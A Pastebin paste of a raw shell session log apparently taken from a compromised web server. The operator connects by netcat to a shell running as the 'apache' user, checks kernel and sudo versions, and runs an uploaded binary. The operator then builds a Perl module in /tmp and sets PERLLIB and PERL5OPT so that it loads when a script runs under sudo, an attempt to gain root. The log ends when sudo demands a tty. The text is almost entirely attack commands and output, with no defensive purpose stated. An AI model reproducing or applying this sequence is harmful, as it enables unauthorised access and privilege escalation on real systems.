Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- root@root:~# nc xxx.xxx.xxx.xxx
- sh: no job control in this shell
- sh-3.2$ uname -a
- Linux 2.6.9-023stab053.2-enterprise #1 SMP Mon Oct 25 18:37:43 MSD 2010 i686 i686 i386 GNU/Linux
- sh-3.2$ sudo -V
- Sudo version 1.6.8p12
- sh-3.2$ ./uploads/glib
- 2.5
- sh-3.2$ cd /tmp
- sh-3.2$ mkdir modules
- sh-3.2$ mkdir FTP
- sh-3.2$ cd modules
- sh-3.2$ ls
- sh-3.2$ ls -al
- total 12
- drwxr-xr-x 2 apache apache 4096 Aug 10 09:34 .
- drwxrwxrwt 5 root root 8192 Aug 10 09:34 ..
- sh-3.2$ mkdir FTP
- sh-3.2$ ls -al
- total 16
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
- drwxrwxrwt 5 root root 8192 Aug 10 09:34 ..
- drwxr-xr-x 2 apache apache 4096 Aug 10 09:35 FTP
- cdsh-3.2$ FTP
- sh-3.2$ h2xs -AXc -n FTP
- Defaulting to backwards compatibility with perl 5.8.8
- If you intend this module to be compatible with earlier perl versions, please
- specify a minimum perl version with the -b option.
- Writing FTP/lib/FTP.pm
- Writing FTP/Makefile.PL
- Writing FTP/README
- Writing FTP/t/FTP.t
- Writing FTP/Changes
- Writing FTP/MANIFEST
- sh-3.2$ ls -al
- total 12
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 ..
- drwxr-xr-x 4 apache apache 4096 Aug 10 09:35 FTP
- sh-3.2$ cd FTP
- sh-3.2$ ls -al
- total 32
- drwxr-xr-x 4 apache apache 4096 Aug 10 09:35 .
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 ..
- -rw-r--r-- 1 apache apache 143 Aug 10 09:35 Changes
- -rw-r--r-- 1 apache apache 55 Aug 10 09:35 MANIFEST
- -rw-r--r-- 1 apache apache 519 Aug 10 09:35 Makefile.PL
- -rw-r--r-- 1 apache apache 1154 Aug 10 09:35 README
- drwxr-xr-x 2 apache apache 4096 Aug 10 09:35 lib
- drwxr-xr-x 2 apache apache 4096 Aug 10 09:35 t
- sh-3.2$ perl Makefile.PL
- Checking if your kit is complete...
- Looks good
- Writing Makefile for FTP
- sh-3.2$ make
- cp lib/FTP.pm blib/lib/FTP.pm
- Manifying blib/man3/FTP.3pm
- sh-3.2$ make test
- PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0, 'blib/lib', 'blib/arch')" t/*.t
- t/FTP....ok
- All tests successful.
- Files=1, Tests=1, 0 wallclock secs ( 0.02 cusr + 0.00 csys = 0.02 CPU)
- sh-3.2$ cd blib/lib
- sh-3.2$ ls -al
- total 16
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:37 .
- drwxr-xr-x 8 apache apache 4096 Aug 10 09:37 ..
- -rw-r--r-- 1 apache apache 0 Aug 10 09:37 .exists
- -r--r--r-- 1 apache apache 1702 Aug 10 09:35 FTP.pm
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:37 auto
- sh-3.2$ cd ../../../
- ls -al
- sh-3.2$ total 12
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 ..
- drwxr-xr-x 5 apache apache 4096 Aug 10 09:37 FTP
- sh-3.2$ cd /tmp/modules
- sh-3.2$ ls -al
- total 16
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 .
- drwxrwxrwt 5 root root 8192 Aug 10 09:42 ..
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 FTP
- sh-3.2$ ls -al
- total 20
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:44 .
- drwxrwxrwt 5 root root 8192 Aug 10 09:42 ..
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 FTP
- -rw-r--r-- 1 apache apache 365 Aug 10 09:44 code.pl
- sh-3.2$ cat code.pl
- #!/usr/bin/perl
- BEGIN { $| = 1; print "1..1\n"; }
- END {print "not ok 1\n" unless $loaded;}
- use FTP;
- $loaded = 1;
- print "ok 1\n";
- my $obj = new FTP;
- $obj->verbose(1);
- my $result = $obj->hoot;
- print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");
- $obj->verbose(0);
- my $result = $obj->hoot;
- print ($result eq "" ? "ok 3\n" : "not ok 3\n");
- sh-3.2$ export PERLLIB="/tmp/modules/FTP/FTP/blib/lib/"
- sh-3.2$ export PERL5OPT="-MFTP"
- sh-3.2$ chmod +x code.pl
- sh-3.2$ ls -al
- total 20
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:44 .
- drwxrwxrwt 5 root root 8192 Aug 10 09:42 ..
- drwxr-xr-x 3 apache apache 4096 Aug 10 09:35 FTP
- -rwxr-xr-x 1 apache apache 365 Aug 10 09:44 code.pl
- sh-3.2$ sudo ./code.pl
- sudo: sorry, you must have a tty to run sudo
Add Comment
Please, Sign In to add comment